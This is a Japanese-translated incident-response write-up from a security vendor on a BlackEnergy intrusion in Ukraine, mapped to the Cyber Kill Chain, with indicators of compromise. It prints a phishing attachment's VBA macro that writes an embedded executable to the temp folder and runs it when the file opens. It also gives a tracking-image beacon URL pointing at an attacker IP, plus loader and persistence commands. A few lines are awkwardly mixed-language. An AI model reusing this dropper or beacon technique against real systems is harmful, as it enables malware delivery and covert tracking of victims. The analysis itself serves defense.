ブラックエナジーの解体、第3部 – 全員乗船!
目次:
アボルダージュ – the act of 搭乗 敵 船 as 部分 of an 攻撃.
In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.
プロローグ
ここから物語は始まる。ユーザー名やインフラサーバー名はマスキングされており、修正されていますが、日付や外部IPアドレスはそのままで、ログファイルに表示された状態のまま共有します。以下のアクションプランを立てました: 妨害指標 (IOC) を発見したら、それをログデータと照合し、追加の発見に基づいてフィルタを修正し、さらなる検索を開始します。何ギガバイトものログを系統的にふるいにかけ、大きな絵がよりはっきりと見えるようになり、この記事でそれを共有します。
10月25日の日曜日の朝、IT管理部門から、夜中にドメインコントローラーサーバーが突然シャットダウンし、再起動しないというメッセージでの電話を受けました。チームが現地に着いたとき、最初に要求したのは「クラッシュ」したサーバーのイメージ(もちろん仮想イメージを持っていました)でした。初期の分析は明確に示しており、両方のサーバーのMBRが上書きされていました。私たちはTestDiskの魔法を使ってMBRを回復することに成功し、https://en.wikipedia.org/wiki/TestDisk)分析を進めました。事態はさらに興味深いものになりました。ディスク上のほとんどのファイルがゼロで埋め尽くされ、すべてのファイルが同じサイズで中身がゼロのように見えました。生き延びたファイルの中に、タイムライン上のすべての異常なイベントをマッピングするための出発点として役立ったイベントログファイルがいくつかありました。事故が発生した瞬間から開始(侵入)に向かって、発見された指標を逆の順序で説明します。
第1章: 攻撃のアクションと目的
回復したドメインコントローラーのログデータを操作している際に、別のサーバーが同様の症状で「感染」したという別の電話を受けました。しかし今回はアプリケーションサーバーでした。このサーバーのイメージも得ることができました。
「クラッシュ」の直前に発生したイベントを分析し、それらを私たちのタイムラインにマッピングしました。
ここに表示されている内容を少し説明します。青い枠で囲まれた領域は、サーバークラッシュとして目撃したアクションの結果を示しています。シャットダウンの直前に、ドメイン管理者アカウントからの不正ログオン試行が記録されました。実行されたアクションは、
svchost.exe
サービスの変更と子サービス msDefenderSvc
:
https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/左には、グローバルポリシーが変更されたことを証明する別の興味深いイベントがあります。
推測をせずにスクリプトの内容を見ると、ユーザーがPCにログオンすると、 ololo.exe
(これを部分的に逆コンパイルしてここに説明しています: https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/)ネットワーク共有から自動的にダウンロードされます。
さらに、ワークステーションのログを分析したところ(前もって話しておくと、百台以上のワークステーションのログを確認しました)、以下のような異常が発見されました: 優先ユーザーからのイベントセットがあり、ユーザーPCのスケジュールタスクが変更されました。
このイベントはドメインコントローラーのログには次のように表示されました。
さらに、ユーザーのPCではこのように見えました。
これは基本的に「キルショット」で、ドメインコントローラーがタスクを完了できず、グループポリシーをワークステーションにプッシュするまでにクラッシュする可能性がある場合に備えたものです。その結果、私たちはこの攻撃の一部をKill Chainモデルの「目的へのアクション」に明確にマッピングできます。このケースでは、目標は可能な限り多くのPCのデータを破壊することです。
第2章: 「インストールとエクスプロイト」、脆弱性を利用してBlackEnergyを展開。
では、敵対者がサーバーにアクセスする前に何が起こったのでしょうか?イベントログを分析したところ、以下のような一連のイベントを発見しました。番号付き攻撃段階の説明:
1 & 2 – 不正なVPNアクセスとすぐにドメインコントローラーへのRDPアクセス
3 – インストールの VBoxDrv.sys
(CVE-2008-3431)サービス。DSE(ドライバー署名の強制はドライバー署名の必須チェック)を再起動せずにバイパスするためにこのステップが必要でした( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability )。
4 – 前のステップの一部としてDSEが無効になったため、自己署名ドライバーのインストール adpu320.sys
and amdide.sys
はもはや問題ではありません。
両方の.sysファイルは同じハッシュ値を生成します。2015年11月6日時点では、これらを検出できるのはたった2つのアンチウイルスソリューションだけでしたが、その時点で、私たちは BlackEnergy に関わっているのは明らかでした(両方のドメインコントローラーにはアンチウイルスソリューションが実行されていましたが、それを検出できた2つのAVのうち1つではありませんでした):4日後には、すでに12のアンチウイルスがこれらのサンプルを検出しました。
したがって、この攻撃フェーズは「インストール」と「エクスプロイト」のCyber Kill Chainステージにうまくマッピングできると結論付けることができます。
第3章: 「目的へのアクション」、「偵察」
管理者アカウントが侵害され、そのワークステーションも不正アクセスにさらされたと推測するのは合理的です。それらのワークステーションのログ(および他の数百台のワークステーションのログ)を分析し、 Sysinternals
スイート PsExec
の使用に関連する異常な活動が発見されました。
上のタイムラインは、ワークステーションからのデータ収集に関連する活動の一部を描写しています。
そしてこれがワークステーションのログに表示されているイベントの様子です。
このフェーズもまた、Cyber Kill Chainモデルにマッピングでき、この攻撃段階における「偵察」と「目的へのアクション」(目的がインフラとユーザーについてのデータ収集である)にそれぞれ対応します。「偵察」にもマッピングした理由は、攻撃者がワークステーションから追加のデータを収集してさらなる攻撃段階を準備したという高い疑いがあるからです。
第4章: 「指揮と統制 (C2)」、BlackEnergyサーバーとの通信
ワークステーションのログとファイアウォールログを並行して分析しました。BlackEnergyが私たちを攻撃するために使われたことは明らかだったので、この件に関するすべての公開された研究と記事を利用して、既知の指揮センターとの通信を確認しました。このタイムラインの部分に示されているように、私たちは攻撃の歴史を2015年5月まで遡りました!15.05.2015は、既知の指揮統制サーバーの1つとの最初の通信があった日であり、このサーバーもTorネットワークの一部です(
5.149.254.114
)。
残念ながら、この指揮センターとの通信を行ったワークステーションには、いくつかのYouTubeプロファイルのパスワードを含むファイルも存在し、2015年5月22日にそれらのアカウントがハイジャックされました。ハッキングは他の2つのサーバー 185.61.138.143
and 46.28.68.158
(再びTorノード)を介して行われ、偽のメールアドレスと回復用電話番号が使用されました。攻撃による特段の損害はなく、その当時、ターゲットを絞ったハッキングのようには見えませんでした。アカウントは迅速に回復され、2要素認証が追加され、結論が出され、2015年11月まで事件は閉じられましたが、そのときにはこれがより大きなパズルの一部であることが明らかになりました!
この攻撃フェーズは「指揮と統制 (C2)」に分類できると思います。
第5章: BlackEnergyモジュールの「配信」
ファイアウォールログから指揮サーバーと通信を行ったすべてのワークステーションのリストを取得し、これらのワークステーションのIPアドレスに基づいてフィルターを構築しました。このフィルターを使用して、2015年全体の活動の中でこれらのマシンが行ったすべての活動を検索し、異常やパターンを見つけることを目指しました。パターンが見つかりました。一般的なリンク(GoogleやFacebook/VK/Twitterなどの通常のサーバーを除いて)は、IPが 176.53.127.194 である1つのサーバーに共通していることが判明しました(再びこれはTorノードです!):
2015年4月23日に、従業員の1人が普通のメールを受け取りましたが、より詳しく見るといくつかの面白いディテールが表示されました(調査時、メールが開封されてから半年以上後のこと):
まず、メールヘッダーを見てみましょう:
Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]
) Thu, 23 Apr 2015 09:43:45 +0300
Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)
by mx1-mail.com [5.149.248.67]
with esmtp (envelope-from )
From: «info@rada.gov.ua»
Return-Path: info@rada.gov.ua
5.149.248.67 – すでに知られているIPアドレスで、他の組織に類似のメールを送信するのに使用されました(https://cys-centrum.com/ru/news/black_energy_2_3)。
添付ファイルについてですが、.xlsファイルには次のマクロが含まれています:
Private Sub Init0()
a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)
….. пропущено……
a(864) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
End Sub
Private Sub MacroExpl()
Dim fnum As Integer
Dim fname As String
Dim i As Integer
Dim j As Integer
Dim aa As Byte
Init0
…
Init28
fnum = FreeFile
fname = Environ(“TMP”) & “vba_macro.exe“
Open fname For Binary As #fnum
For i = 1 To 864
For j = 0 To 127
aa = a(i)(j)
Put #fnum, , aa
Next j
Next i
Close #fnum
Dim rss
rss = Shell(fname, 1)
End Sub
Private Sub Document_Open()
MacroExpl
End Sub
By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe
、それは実際には BlackEnergy ドロッパー
https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1ドロッパーは、すでに知られているコマンドセンターへの接続を開始します:その後、マルウェアはさらに「指示」を受け取り、
FONTCACHE.DAT
という名前のファイルを形成し、それを読み込むために rundll32.exe
を使用します FONTCACHE.DAT
は実際には packet.dll
の変種です – Hackers Encyclopedia 2002に戻る、Whirlwind SoftwareによってWindows OS用に開発された:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"
その後、スタートアップに書き込みます:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnk
さて、ロードに失敗したメールフッターの画像の詳細な情報を見てみましょう:私たちの「画像」へのリンクは次のように見えます:
src=”http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.png
いくつかのBase64デコード後に次のようになります:src=”http://176.53.127.194/mail_ivanov.ivan@domen.ua.png
したがって、これは敵対者に対する警告で、イヴァン・イヴァノフがメールを正常に開き、さらに「指示を受け取る」準備が整ったという事実を確認します。
4月にメールが1件しかなく、受信者が1人だけだったことを改めて強調したいと思います。
次に、7月に受け取ったメールを見てみましょう(2,000以上のアドレスへの大量送信)。共通のパターンは、すべてのメールが同じIPに返信した同じ「ビーコン」を含んでおり、正確に受信者を特定したことです。したがって、これは単なるスパムキャンペーンではなく、ターゲットを絞ったキャンペーンでした。そして唯一の違いは、デコードされたメッセージにある接頭辞「mail_」の欠如です:176.53.127.194
)
ヘッダー内の同じIPアドレス:
Received:from mx1-mail.com(mx1-mail.com)
by
Received:from webmail.rada.gov.ua(port=80 helo=webmail.rada.gov.ua)
by mx1-mail.com [5.149.248.67]
) [5.149.248.67]
esmtpを使用して(envelope-from <pravyysektor@rada.gov.ua>)
From: “pravyysektor@rada.gov.ua” <pravyysektor@rada.gov.ua>
日付:Tue, 28 Jul 2015 09:08:38 +0200
Return-Path: pravyysektor@rada.gov.ua
私たちの「ビーコン」を明示的に示す手紙の内容:大量メールが全会社に宛てて送信されたにもかかわらず、明らかにスパムであり、そのようなテキストを含むメールは開くことが禁じられているにもかかわらず、一部のユーザーはメールを開いてしまい、既知のコマンド&コントロールセンターとの通信の爆発を引き起こしました:
タイムラインで観察されたように、最初の通信で28,863バイトがダウンロードされ、次はすでに359,276バイトなどでした。通信には明確な順序と明確な構造がありました:
攻撃のこの段階を「デリバリー」として分類することに疑いの余地はありません:
見てわかるように、攻撃にはCyber Kill Chainの手法を使用して明確に説明できるAPT構造のすべてのサインがあります。
結果の評価
否定的な側面では: データは、2つのドメインコントローラー、1つのアプリケーションサーバー、および10台以上のPCにおいて破壊されました。良い面では: 我々は無料の侵入テスト、不換のリアルAPT調査の経験を得て、ログ処理とマルウェアリバース分析の自動化を行う一連のツールを作成/調整しました(この話は別の記事で詳しく説明します)。管理者は情報セキュリティの目的をよりよく理解しました(これは貴重です!)。真の脅威とその後の調査を示すこの1回のデモンストレーションは、以前の懸念の表明や仮説的な脅威よりも我々にとって大きな助けとなりました。IT管理者との徹底的なチームワークによって、我々のプロとしての協力が次のレベルに引き上げられました。従って、これらの出来事を真のサイバー戦闘訓練として考え、敵対者の手法と技術を真に理解する最良のレッスンであると感じています。
結論として、この記事から多くのことが省かれており、一部はまだ詳しく研究されています。
この調査を公開することで達成したい2つの目標があります:
- 一方で、 BlackEnergy というのは、数ヶ月後にその独自の基地を建設し、その存続を支えることができる無人惑星に投げ込む怪物ではありません。しかし、専門家の手に渡れば攻撃の被害者に大きな損害を与えることのできる強力で特化したツールです。
- BlackEnergyを利用する攻撃は、サイバー犯罪者によって積極的に使用されている技術の進化の例の一つに過ぎないことを強調します。これらは単純なサイバー襲撃ではなく、細かく組織され、正確に計画された軍事特殊部隊によって行われたものに類似しています(この連想で記事の画像が選ばれました)。
以上に基づいて、この情報を使用するシナリオの一つを構築できます:銀行をハッキングするのではなく、誰でも指定のサプライチェーン企業のインフラへのアクセスを購入し、サイト間VPN接続を維持し続ける「正式に認可された」アクセスを受け取ることができる理由です(銀行と清掃員についてのカートゥーンを参照してください: https://www.youtube.com/watch?v=fB2b-lTjCQA )。
通常通り、記事を読んだ後に言及された指標(IOC)のログデータを確認していただけることに感謝します。
続編の記事では、記述された敵対者の活動の特定の指標を検出し、組織内でのそのようなインシデントが発生する可能性を最小限に抑えるための、または少なくとも迅速な発見の可能性を高めるために、組織的および技術的な対策の複合体を構築する方法をいくつか共有します。
クレジット
私の同僚の熱意、根気、そしてよく成し遂げた仕事に大きな感謝を捧げます。分析と記事の準備中に協力してくれたマリーナ・クロトフィルおよびアンドリー・ベズヴェルヒのチームに特別な感謝を表します。さらに HPE , LanTec and SOC Prime に感謝します。調査と攻撃の対策の過程で提供されたハードウェアとソフトウェアの材料および技術的支援に。
原文からの翻訳:Andrii Bezverkhyi | CEO SOC Prime